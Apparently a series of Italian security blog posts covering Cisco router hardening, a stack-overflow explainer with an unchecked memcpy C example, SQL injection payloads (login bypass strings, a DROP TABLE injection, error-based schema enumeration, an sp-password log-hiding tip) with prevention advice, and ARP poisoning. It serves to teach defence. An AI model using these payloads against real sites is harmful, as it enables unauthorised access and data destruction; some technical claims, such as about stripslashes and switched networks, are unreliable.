Così facendo, le richieste di broadcast  (di livello 3) contenenti indirizzo sorgente fasullo, inoltrate da un attacker mediante l’interfaccia del router connessa ad internet (Dialer0) oppure attraverso un’interfaccia di rete interna (E0), non verranno tradotte in richieste di broadcast di livello 2 e non subiranno quindi il processo di amplificazione che sta alla base del successo di questo tipo di attacco.

NB: nei router che utilizzano IOS maggiori o uguali alla 12.0 tale comando è abilitato per default. Per indentificare la versione di IOS installata sul vostro router basta digitare:

NightRouter# sh ver

Difesa contro gli attacchi di tipo DoS (diretti verso i servizi di diagnostica)

Un altro tipo di attacco, di tipo DoS, a cui sono soggetti i router Cisco, consiste nell’invio di un grande numero di pacchetti  spuri UDP e TCP verso le porte echo, chargen, discard e daytime (quest’ultima si basa esclusivamente sul protocollo TCP). Tali porte vengono adoperate per operazioni di diagnostica sul router ed un attacco di questo tipo potrebbe causare la congestione della CPU, fino a portare allo stallo del dispositivo.

Per prevenire questa tipologia di attacco basta disabilitare i servizi di diagnostica sopra citati, attraverso i comandi:

NightRouter(config)# no service udp-small-servers

NightRouter(config)# no service tcp-small-servers

Difesa contro gli attacchi di tipo DoS (Land)

Un attacco di tipo “land” permette di inoltrare pacchetti TCP SYN (tipici dell’inizio di una connessione) con indirizzo IP sorgente e porta modificati e posti uguali all’indirizzo ed alla porta dell’host di destinazione, causando in alcuni casi anche il blocco del router.

Il problema è stato risolto nelle versioni più recenti di IOS, ma negli altri casi è necessario applicare un filtro che blocchi per ogni interfaccia la ricezione di questi pacchetti. Vediamo come fare (utilizzando delle ACL estese):

NightRouter(config)# access-list 102 deny ip <indirizzo della scheda ethernet0> 0.0.0.0 <indirizzo della scheda ethernet0> 0.0.0.0

Associamo dunque tale ACL all’intercaccia ethernet0:

NightRouter(config)# int e0

NightRouter(config-if)# ip access-group 102 in

Come avrete notato, non ho associato tale ACL anche all’interfaccia Dialer0, in quanto la maggior parte di noi utilizza IP dinamici che ci vengono assegnati direttamente dall’ISP. Nel caso in cui, però, usufruite di IP statico basta digitare:

NightRouter(config)# access-list 102 deny ip <indirizzo della scheda Dialer0> 0.0.0.0 <indirizzo della scheda Dialer0> 0.0.0.0

NightRouter(config)# int dia0

NightRouter(config-if)# ip access-group 102 in

Cifratura delle password

L’ultima parte di questa guida riguarda la cifratura delle password, in modo che uno sh run non permetta di visualizzarle in chiaro.

Per abilitare la cifratura occorre digitare:

NightRouter(config)# service password-encryption

Bene, ora il nostro router dovrebbe essere al sicuro contro gli attacchi più comuni. A presto.

Buffer overflow e stack overflow

Sicurezza, , ,

Un buffer non è altro che una sequenza di lunghezza predefinita di celle di memoria (per semplicità lo si può intendere come un array). Quando si cerca di allocare delle variabili al di fuori dei limiti di tale array si parla proprio di buffer overflow (dove overflow significa straripamento).

Alcuni linguaggi di programmazione (come Java) effettuano un controllo sul corretto utilizzo del buffer, segnalando eventuali anomalie durante la fase di runtime (ovvero durante l’esecuzione del programma). Altri linguaggi invece,  quali C o C++, non operano alcun controllo sulla corretta allocazione delle variabili, che quindi possono essere posizionate in indirizzi di memoria “dedicati” ad altri processi. Sfruttando proprio questa vulnerabilità un utente malevolo potrebbe eseguire del codice arbitrario sul calcolatore della vittima, compromettendone il livello di sicurezza.

Uno degli esempi più diffusi di buffer overflow è lo stack overflow. In particolare, uno stack (che letteralmente significa catasta) è una regione di memoria che viene gestita come una coda LIFO (Last Input – First Output), in cui push (inserimento) e pop (estrazione) sono le uniche operazioni consentite.

Il verificarsi di questo tipo di anomalia è in qualche modo incentivato dal fatto che in moltissime architetture (tra le quali x86), la memoria “cresce” (ovvero viene allocata) in un senso, mentre lo stack viene riempito nel senso opposto. Per focalizzare meglio il problema esaminiamo il seguente codice (scritto in C):

#include <string.h>

void foo (char *bar)
{
char  c[12];

memcpy(c, bar, strlen(bar));  // no bounds checking...
}

int main (int argc, char **argv)
{
foo(argv[1]);

return 0;
}

Questo programmino non fa altro che ricevere da shell una stringa di massimo 12 caratteri (in teoria) e la salva all’interno dello stack dedicato alla funzione foo(). Tale operazione viene effettuata proprio dalla funzione memcpy(), il cui argomento è costituito dalle variabili c (ovvero la stringa), bar e della lunghezza di quest’ultima, calcolata mediante la funzione strlen(). Occorre notare però che memcpy() non effettua alcun controllo relativo ai limiti del buffer, ecco perchè viene usato questo codice come esempio di programma soggetto a stack overflow.

Si focalizzi ora l’attenzione sulla variabile char c[12]. Essa non è altro che un array di 13 posizioni (da 0 a 12) che però può contenere soltanto 12 caratteri, in quanto il linguaggio C aggiunge automaticamente il carattere tappo per indicare la fine della stringa.

Quando vado ad inserire tramite shell la stringa hello, il main() richiamerà la funzione foo() (solo dopo averne preparato il record di attivazione), il cui stack ci apparirà nel seguente modo:

300px-Stack_Overflow_3.png

dove Return Address è l’indirizzo della prossima istruzione da eseguire, Saved Frame Pointer punta alla fine dello stack precedente (ovvero quello della funzione main()), in modo da consentire al programma di risposizionarsi su di esso dopo aver deallocato il record della funzione foo(), e char *bar contiene l’indirizzo della variabile bar (l’asterisco indica che ho a che fare con un puntatore).

Supponiamo ora di andare ad inserire la seguente stringa: “A​A​A​A​A​A​A​A​A​A​A​A​A​A​A​A​A​A​A​A​x08​x35​xC0​x80”. Lo stack della funzione foo() avrà questa conformazione:

363px-Stack_Overflow_4.png

Come potete notare, il campo dello stack che serviva a restiture il controllo al main() una volta terminata l’esecuzione di foo(), ovvero Saved Frame Pointer, viene sovrascritto, e stessa sorte tocca a Return Address, all’interno del quale viene salvato il seguente indirizzo (in notazione little endian, cioè le cifre più significative sono a destra):

"​x08​x35​xC0​x80"

Questo indirizzo potrebbe puntare ad una locazione di memoria in cui è presente del codice macchina malevolo, e quindi potrebbe consentire ad un eventuale attaccker di ottenere il controllo del sistema remoto.

Esistono comunque diverse tecniche per cercare di prevenire gli attacchi basati su stack overflow. Una di queste (utilizzata nell’ambito dell’architettura SPARC), fa in modo che la memoria e lo stack vengano riempiti seguendo lo stesso verso. In questo modo i “dati in eccesso” non andranno a sovrascrivere alcune delle parti fondamentali dello stack, ma si posizioneranno al di fuori di esso. Tale soluzione però è alquanto “grezza”, poichè potrebbe esserci un altro stack limitrofo a quello considerato, portando a sovrascrivere il suo Saved Frame Pointer oppure il suo Return Address.

Un’altra soluzione consiste nell’usare alcune liberie C e C++ reimplementate (ed a pagamento), le quali, a differenza di quelle standard, garantiscono meccanismi di controllo del buffer.

Si possono usare inoltre delle tecniche per la protezione del puntatore, andando a crittografare mediante un semplice XOR alcuni indirizzi di memoria considerati “sensibili”.

Occorre mensionare anche la tecnica denominata non executable stack. Essa fa in modo che non possa essere eseguito del codice arbitrario (in particolare codice macchina) direttamente dallo stack, basando il suo funzionamento su un bit implementato a livello di CPU, denominato NX (No Execute). In teoria si potrebbe resettare il valore di questo bit impostandolo a 0, anche se nessuno è ancora riuscito a farlo. E’ comunque possibile eludere tale tecnica di protezione seguendo due strade: iniettare il codice macchina in porzioni di memoria non protette (come l’heap), oppure sfruttare dei programmi già allocati in memoria per effettuare chiamate utili all’attacker (ad esempio system(), che consente di eseguire codice arbitrario). Quest’ultima tecnica prende il nome di return-to-libc, in riferimento al fatto che nei sistemi UNIX like, appena un qualunque programma scritto in C viene mandato in esecuzione, la libreria libc automaticamente viene posizionata in memoria.

Ma cosa succede quando l’attaccante non conosce a priori l’indirizzo delle istruzioni malevole da eseguire sull’host remoto? Semplicemente riempie la memoria con una serie di istruzioni no op (ovvero no operation, 0x90 nelle architetture x86), fino ad arrivare all’indirizzo desiderato. Tale tecnica prende il nome di nop sled.

Il post termina qui. A presto.

SQL injection: cos’è e come prevenirlo

Sicurezza, , ,

Una delle tecniche maggiormante utilizzate negli ultimi anni, che può portare a conseguenze a dir poco devastanti, è l’SQL injection. Gli unici siti che soffrono tale tipologia di attacco sono quelli dinamici, ovvero contenenti scrip lato server (PHP, ASP, JSP, ecc.) per la gestione delle informazioni e per l’inoltro delle interrogazioni al DBMS (Oracle, MySQL, SQLserver e molti altri).

L’SQL injection basa il suo funzionamento sulla costruzione di query “anomale” che se non opportunamente filtrate consentono all’utente malevolo di ottenere i privilegi di amministratore, oppure di accedere al sito senza possedere le credenziali necessarie per il login, o ancora di alterare il contenuto del database ed in alcuni casi del sito stesso (defacing), fino ad arrivare all’hacking della macchina su cui è in esecuzione il DBMS.

Ma facciamo un esempio pratico. Supponiamo di collegarci ad un sito in cui è presente un pannello di gestione dedicato all’admin. A tale pannello ci si può accedere inserendo username e password opportuni. Qui entra in gioco l’SQL injection: attraverso delle stringhe costruite ad hoc posso indurre in errore il sistema di autenticazione, ottenendo l’accesso abusivo alla pagina di amministrazione. Una stringa che potrei inserire nel campo username è la seguente:

'

Si, avete letto bene. Si tratta semplicemente di un apice, il quale viene utilizzato per delimitare il nome della variabile passata al server (ovvero il nome utente). E la password? Non ci serve, poichè se lo scrip ed il DBMS sono vulnerabili avremo già ottenuto l’accesso al pannello di amministrazione. Nel caso in cui tale stringa non produca i risultati sperati si potrebbe usare come username ‘ e come password = .

Un altro tipo di stringa usata frequentemente nell’ambito di questo attacco è la seguente:

' OR 'x' = 'x

da inserire sempre nel campo username. Con il primo apice non facciamo altro che delimitare il nome della (presunta) variabile passata al server, mentre con ‘x’ = ‘x indico una condizione sempre vera (non ho inserito appositamente l’ultimo apice in quanto viene aggiunto automaticamente dal DBMS all’interno dell’interrogazione). Ma il vero punto di forza di tale stringa sta nell’OR: tale operatore logico fa in modo che nel caso in cui non venga rispettata la prima condizione, si passi direttamente alla seconda (sempre vera), ottenendo l’accesso.

Un’altra query interessante è la seguente:

' OR 0=0 --

In questo caso non è stato necessario inserire lo 0 tra due apici in quanto non si tratta di una stringa ma di un valore numerico. Per il resto la sintassi è identica a quella dell’interrogazione precedentemente esaminata, eccezion fatta per i due trattini posti alla fine, ovvero —. Questi due trattini hanno come scopo quello di portare il DBMS ad ignorare tutto ciò che è presente dopo la seguente istruzione. 

Inoltre, è necessario fare attenzione alle cosiddette query multiple (intervallate dal ;). Eccone un esempio:

 1; DROP TABLE users

In questo modo si riuscirà a cancellare la tabella “users”, in quanto il DBMS interpreterà tale stringa come:

SELECT * FROM DATA WHERE id=1;DROP TABLE users;

Ovviamente le query malevole che possono essere “iniettate” al DBMS sono tantissime, cercate un pò sul Web e ne troverete a migliaia.

Arrivati a questo punto credo sia necessario accennare ad una particolare variante di SQL injection, cioè il blind SQL injection. Questo attacco viene perpetrato contro i database di cui non si conosce la struttura (ad esempio il nome delle tabelle oppure i campi relativi ad esse), e sfrutta gli eventuali messaggi di debug che manda in output il server nel momento in cui viene riscontrata la presenza di un qualche tipo di errore. Basta quindi creare le condizioni adatte affinchè si manifesti l’errore (usando query malformed) per capire qual è la “fisionomia” della base di dati oggetto del nostro attacco. Ecco un esempio:

Obiettivo: Trovare il nome della tabella e della prima colonna
Comando: ‘ having 0=0–
Risultato: Column ‘members.UserID’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

Obiettivo: Trovare il nome della colonna successiva
Comando: ‘ group by members.UserID having 0=0–
Risultato: Column ‘members.Password’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

Obiettivo: Estrarre i nomi di tutte le colonne successive
Comando: ‘ group by members.UserID, members.Password having 0=0 —
Risultato: Column ‘members.FirstName’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

Possiamo ripetere questo attacco andando ad inserire il nome della tabella visualizzato nel messaggio di errore immediatamente precedente, fino a quando il server non invierà più notifiche di questo tipo. A questo punto il gioco è fatto: la struttura del database non ha più segreti 🙂

Ah quasi dimenticavo… per MS SQLserver esiste un comando, ovvero sp-password, il quale fa in modo che la query malformed non venga salvata all’interno del file di log. Inoltre, questo server fa ampio uso di Transact SQL (altrimenti conosciuto con l’acronimo T-SQL), che è il “dialetto” mediante al quale vengono costruite moltissime interrogazioni malevole. Per questi (ed altri) motivi, a mio avviso SQLserver è uno dei DBMS più vulnerabili in circolazione.

A questo punto credo si possa parlare dei metodi grazie ai quali è possibile prevenire (o per lo meno limitare) gli effetti di un attacco di questo genere. Per prima cosa occorre scegliere un DBMS poco vulnerabile (ad esempio MySQL). Dopodichè è necessario prestare molta attenzione (a livello di scrip) alla cosiddetta validazione dell’input. Se ad esempio il server si aspetta un numero, è necessario controllare che tale variabile sia effettivamente di tipo numerico. Inoltre si deve evitare che all’interno della query vengano inseriti i cosiddetti caratteri speciali, quali ‘, “, #, ecc. , che potrebbero mandare il DBMS “in confusione”. A tal scopo esistono alcune funzioni che i linguaggi di scripting, quali PHP, ci mettono a disposizione. Una di queste è mysql_real_escape_string(), ed è utilizzabile quando ad interfacciarsi con il nostro scrip è un server MySQL. Essa non fa altro che aggiungere automaticamente un carattere di “escape” (ovvero il backslash) davanti ad alcuni caratteri, quali backslah x00, backslash n, backslash “ e così via. In tal modo si rende “immune” all’SQL injection l’argomento da passare alla funzione mysql_query() (che invierà l’interrogazione vera e propria).

Un’altra funzione che può tornare utile è stripslashes(). Essa aggiunge un escape davanti a tutti i ‘, “, e Null. Si potrebbe evitare di usarla semplicemente andando ad impostare correttamente il file di configurazione di PHP, cioè php.ini: basta abilitare l’opzione magic_quotes_gpc (dove gpc sta per GET, POST E Cookie).

Si potrebbe anche (in teoria) eliminare a priori gli apici (anche se questa soluzione è molto limitativa), oppure li si potrebbe raddoppiare. Si potrebbe anche effettuare un controllo delle stringhe passate al DBMS attraverso delle espressioni regolari, altrimenti dette Regex. Un’altra valida soluzione consiste nell’usare una whitelist, ovvero un insieme di stringhe ammissibili e considerate non malevole. Inoltre, per evitare il blind SQL injection, si potrebbero disabilitare i messaggi di debug (sempre via php.ini) oppure utilizzare opportunamente l’operatore di silence (@) messo a disposizione da PHP. Per quanto riguarda le query multiple, invece, conviene sempre disabilitarle (per ovvie ragioni di sicurezza).

Ricordatevi comunque di tenere sempre aggiornato il DBMS ed il server, installando le eventuali patch, e controllate che il sistema di gestione del database non abbia privilegi elevati, in quanto un hacker, ottenendone il controllo, potrebbe compromettere la sicurezza dell’intera macchina. 

Concludo questo post (redatto a titolo informativo) mettendovi in guardia sul fatto che il solo TENTATIVO di accesso abusivo ad un sito (oppure ad un sistema telematico in genere) è considerato reato penale. Quindi se proprio volete fare dei test, fateli sui vostri server per saggiarne la robustezza. Come si dice… uomo avvisato mezzo salvato :). A presto.

Analisi sull’ARP poisoning

Sicurezza, , , ,

L’ARP poisoning (o ARP spoofing) è una tecnica che consente di effettuare attacchi man in the middle. Essa modifica intenzionalmente le ARP table degli host appartenenti ad un adato segmento della LAN, permettendo all’attaccante di intercettare le informazioni scambiate in locale o con un server remoto (se si riesce a sniffare il traffico diretto verso il gateway).

Ma a cosa servono le ARP table? Servono semplicemente a mappare il MAC address da 48 bit (detto anche indirizzo fisico) di ogni dispositivo collegato alla rete con il rispettivo indirizzo IP. 

Vediamo ora come viene realizzato questo tipo di attacco:

Trudy (l’attacker) invia un’ARP-reply ad Alice contenente il proprio indirizzo MAC e l’indirizzo IP di Bob. Successivamente invia a Bob un’ARP-reply contenente sempre il proprio MAC address ma l’indirizzo IP di Alice. In questo modo Trudy riuscirà ad intercettare le informazioni scambiate tra Bob ed Alice. 

Tale metodo di attacco, però, non è propriamente passivo. Infatti è necessario inviare continuamente le ARP-reply modificate ad Alice e a Bob, poichè le ARP table vengono continuamente resettate ed aggiornate.

E’ bene notare inoltre che l’ARP poisoning non ha alcun effetto sulle reti che fanno uso di switch e di VLAN. Infatti, ogni Virtual LAN è come se fosse una rete locale a sè stante, suddividendo la rete in più comprartimenti stagni. Ecco allora che se ad esempio Trudy è connessa alla VLAN 1, mentre Alice e Bob si trovano nella VLAN 2, l’attacco non andrà a buon fine.

Una tecnica alternativa all’ARP poisoning, che consente di superare l’ostacolo rappresentato dalle VLAN, prende il nome di MAC flooding. Essa consiste nell’inviare continuamente indirizzi MAC allo switch, in modo da riempire completamente la CAM (ovvero la memoria in cui tale dispositivo tiene traccia degli indirizzi fisici), sovraccaricandola. A questo punto lo switch entrerà in uno stato, detto fail open, iniziando ad inoltrare il traffico su tutte le porte, comportandosi quindi come un normalissimo hub. Non bisogna però generalizzare: infatti alcuni switch anzichè andare in fail open entrano in fail close, bloccando tutti i pacchetti.

Maggiori informazioni sull’ARP poisoning le trovate a questo indirizzo. Bye.